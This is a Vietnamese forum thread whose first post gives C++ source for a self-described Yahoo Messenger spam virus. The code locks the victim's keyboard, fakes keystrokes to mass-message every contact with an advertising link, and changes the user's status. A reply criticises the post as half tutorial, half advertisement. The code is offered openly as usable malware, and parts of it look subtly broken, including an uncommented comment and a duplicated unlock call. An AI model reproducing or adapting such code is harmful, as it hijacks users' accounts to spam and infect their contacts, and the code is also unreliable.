Chào mừng đến với Diễn đàn lập trình - Cộng đồng lập trình.
Kết quả 1 đến 2 của 2
  1. #1
    Ngày tham gia
    Sep 2015
    Bài viết
    0

    Source code virus spam yahoo viết bằng VC++

    Giới thệu với các bạn phương thức Spam và phát tán virus trong yahoo messenger bằng lập trình c++, nó rất là đơn giản và dể hiểu, sữ dùng hàm API keybd_event là chủ yếu. Sau đây mô tả sơ lược về hàm keybd_event :

    + Cấu trúc :

    Mã:
    VOID keybd_event(  BYTE bVk,           // virtual-key code  BYTE bScan,         // hardware scan code  DWORD dwFlags,      // flags specifying various function options  DWORD dwExtraInfo   // additional data associated with keystroke);
    + Thông số :
    bVk : mã phím ảo của phím cần tạo sự kiện hoặc nhả.
    bScan : để dành lập thành 0.
    dwFlags : kết hơp các cờ sau để định rõ hình thức nhập bàn phím để tổng hơp, KEYEVENTF_EXTENDEDKEY là thêm tiếp đầu ngữ có giá trị &HE0 vào mả quét, KEYEVENTF_KEYUP là phím xác định bằng tham số bVk đang được nhả ra. Nếu cờ này không được chỉ rõ thì phím đang được ấn xuống
    dwExtraInfo : Một giá tr phụ 32 bit tương ứng với sự kiện bàn phím


    Mã:
    #include "Winable.h"#include "windows.h"int APIENTRY WinMain(HINSTANCE hInstance,                     HINSTANCE hPrevInstance,                     LPSTR     lpCmdLine,                     int       nCmdShow){  // Bước đầu tiên tìm xem có yahoo messenger đang run không HWND YahooM; YahooM = FindWindow("YahooBuddyMain",NULL); if (YahooM != NULL)  // nếu tồn tại, ta thực hiện các bước sau {  BlockInput(1); khoá bàn phím  ShowWindow(YahooM,SW_RESTORE); //hiện yahoo Messenger trên nền background  SetForegroundWindow(YahooM);   // Tiếp theo ta Lấy danh sách các nick trong list yahoo  keybd_event(VK_CONTROL,NULL,NULL,NULL);  keybd_event(77,NULL,NULL,NULL);  keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);  keybd_event(VK_CONTROL,NULL,KEYEVENTF_KEYUP,NULL);  keybd_event(VK_DOWN,NULL,NULL,NULL);  keybd_event(VK_DOWN,NULL,KEYEVENTF_KEYUP,NULL);  keybd_event(VK_SHIFT,NULL,NULL,NULL);  keybd_event(VK_END,NULL,KEYEVENTF_EXTENDEDKEY,NULL);  keybd_event(VK_END,NULL,KEYEVENTF_KEYUP,NULL);  keybd_event(VK_SHIFT,NULL,KEYEVENTF_KEYUP,NULL);  keybd_event(13,NULL,NULL,NULL);  keybd_event(13,NULL,KEYEVENTF_KEYUP,NULL);  HGLOBAL hText;  OpenClipboard(0);  EmptyClipboard();  char pText[100]="welcome to toanthang.spaces.live.com"; // ví dụ nội dung cần Spam    hText=GlobalAlloc(GMEM_DDESHARE|GMEM_MOVEABLE,strlen(pText)+1);    char *pstr=(char *)GlobalLock((hText));  strcpy(pstr,pText);  GlobalUnlock(hText);    SetClipboardData(CF_TEXT,hText); //đặt nội dung vào bộ nhớ    //Sau đó Send nội dung cần Spam cho tất cả các nick trong list yahoo messenger  keybd_event(VK_CONTROL,NULL,NULL,NULL);  keybd_event(86,NULL,NULL,NULL);  keybd_event(86,NULL,KEYEVENTF_KEYUP,NULL);  keybd_event(VK_CONTROL,NULL,KEYEVENTF_KEYUP,NULL);  keybd_event(13,NULL,NULL,NULL);  keybd_event(13,NULL,KEYEVENTF_KEYUP,NULL);   // Bước tiếp theo tạo nội dung Spam trong Status cua Yahoo Messener  keybd_event(VK_MENU,NULL,NULL,NULL);  keybd_event(77,NULL,NULL,NULL);  keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);  keybd_event(VK_MENU,NULL,KEYEVENTF_KEYUP,NULL);  keybd_event(77,NULL,NULL,NULL);  keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);  keybd_event(77,NULL,NULL,NULL);  keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);  keybd_event(VK_CONTROL,NULL,NULL,NULL);  keybd_event(86,NULL,NULL,NULL);  keybd_event(86,NULL,KEYEVENTF_KEYUP,NULL);  keybd_event(VK_CONTROL,NULL,KEYEVENTF_KEYUP,NULL);  keybd_event(13,NULL,NULL,NULL);  keybd_event(13,NULL,KEYEVENTF_KEYUP,NULL);  CloseClipboard();  GlobalUnlock(hText); } BlockInput(0); return 0;}

  2. #2
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Viết bài hướng dẫn thì viết cho đủ đừng nên viết 1 nửa và quảng cáo 1 nửa nhé

    up source chỉnh lại trên VC++ 6.0 cho các bạn

 

 

Quyền viết bài

  • Bạn Không thể gửi Chủ đề mới
  • Bạn Không thể Gửi trả lời
  • Bạn Không thể Gửi file đính kèm
  • Bạn Không thể Sửa bài viết của mình
  •